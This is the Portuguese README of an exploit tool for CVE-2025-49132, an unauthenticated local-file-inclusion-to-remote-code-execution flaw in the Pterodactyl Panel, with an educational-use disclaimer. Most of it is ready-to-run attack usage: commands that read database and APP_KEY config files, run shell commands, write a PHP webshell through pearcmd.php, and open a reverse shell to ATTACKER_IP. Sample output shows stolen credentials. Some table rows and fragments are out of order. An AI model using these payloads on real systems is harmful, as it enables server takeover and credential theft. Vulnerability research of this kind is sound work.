
CVE Para Pterodactyl (Para Estudo e Educação)
⚠️ Aviso: Este repositório foi criado apenas para fins educacionais e de pesquisa como parte da minha pesquisa de segurança para entender e documentar o CVE-2025-49132. Todo o crédito pela descoberta da vulnerabilidade vai para o(s) pesquisador(es) original(is).
___ __ __ ___ ___ ___ ___ ___ _ _ ___ _ ____ ___
/ __|\ \ / /| __|___ |_ ) / _ \|_ )| __|___ | || | / _ \| ||__ / |_ )
| (__ \ V / | _|___| / / | (_) |/ / |__ \___| |_ _| \_, /| ||_ \ / /
\___| \_/ |___| /___| \___//___||___/ |_| /_/ |_|___/ /___|
Painel Pterodactyl - Exploit de LFI não autenticado para RCE
CVE-2025-49132 é uma vulnerabilidade de Inclusão de Arquivo Local (LFI) Não Autenticada no Painel Pterodactyl que pode ser escalada para Execução Remota de Código (RCE) através do pearcmd.php do PHP.
A vulnerabilidade existe no endpoint /locales/locale.json, que não sanitiza adequadamente os parâmetros locale e namespace, permitindo que atacantes leiam arquivos de configuração PHP arbitrários e obtenham execução de código.
| Status | Versão |
|---|---|
| ❌ Vulnerável | <= 1.11.10 |
| ✅ Corrigida | >= 1.11.11 |
pearcmd.php# Clone o repositório
git clone https://github.com/YOUR_USERNAME/CVE-2025-49132.git
cd CVE-2025-49132
# Instale as dependências
pip install requests
requestscurl (para o modo RCE)# Ler configuração do banco de dados
python exploit.py -u http://target.com --read -p ../../config -f database
# Ler configuração da aplicação (contém APP_KEY)
python exploit.py -u http://target.com --read -p ../../config -f app
# Ler outras configurações
python exploit.py -u http://target.com --read -p ../../config -f auth
python exploit.py -u http://target.com --read -p ../../config -f session
python exploit.py -u http://target.com --read -p ../../config -f mail
# Execução de comando único
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "id"
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "whoami"
# Modo de shell interativo
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR
# Shell reverso
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
| Distribuição | Caminho |
|---|---|
| Debian/Ubuntu | ../../../../../../usr/share/php |
| SUSE/OpenSUSE | ../../../../../../usr/share/php/PEAR |
O endpoint vulnerável /locales/locale.json aceita os parâmetros locale e namespace:
GET /locales/locale.json?locale=../../config&namespace=database
Isso permite ler qualquer arquivo PHP que retorne um array, incluindo arquivos de configuração do Laravel.
O exploit encadeia a LFI com pearcmd.php para obter RCE:
Estágio 1: Usa o comando config-create do pearcmd.php para escrever um webshell PHP
/locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system(...)?>+/tmp/shell.php
Estágio 2: Inclui o shell escrito via LFI
/locales/locale.json?locale=../../../../../../tmp&namespace=shell&c=<cmd_hex_codificado>
════════════════════════════════════════════════════════════
CONFIGURAÇÃO DO BANCO DE DADOS
════════════════════════════════════════════════════════════
default: mysql
connections:
mysql:
driver: mysql
host: 127.0.0.1
port: 3306
database: panel
username: pterodactyl
password: SecretPassword123
────────────────────────────────────────────────────────────
[+] Configuração extraída com sucesso!
[*] Alvo: http://panel.example.com
[*] Executando comando: id
[*] Escrevendo payload em: /tmp/cmd_abc123.php
[+] Saída:
----------------------------------------
uid=474(wwwrun) gid=477(www) groups=477(www)
----------------------------------------
locale e namespaceregister_argc_argv do PHPEsta ferramenta é fornecida apenas para fins educacionais e de testes de segurança autorizados.
Use com responsabilidade e ética.
⭐ Dê uma estrela neste repositório se achou útil!
| CentOS/RHEL | ../../../../../../usr/share/pear |
| Alpine | ../../../../../../usr/share/php8 |
| Argumento | Descrição |
|---|
-u, --url | URL alvo (obrigatório) |
-p, --path | Path traversal para LFI ou caminho PEAR para RCE |
-f, --file | Arquivo PHP a ser lido (sem extensão .php) |
--read | Ativar modo de leitura LFI |
--rce | Ativar modo RCE |
--cmd | Comando a executar (modo de execução única) |
--sdir | Diretório para escrever o shell (padrão: /tmp) |
--sname | Nome do arquivo shell (padrão: shell) |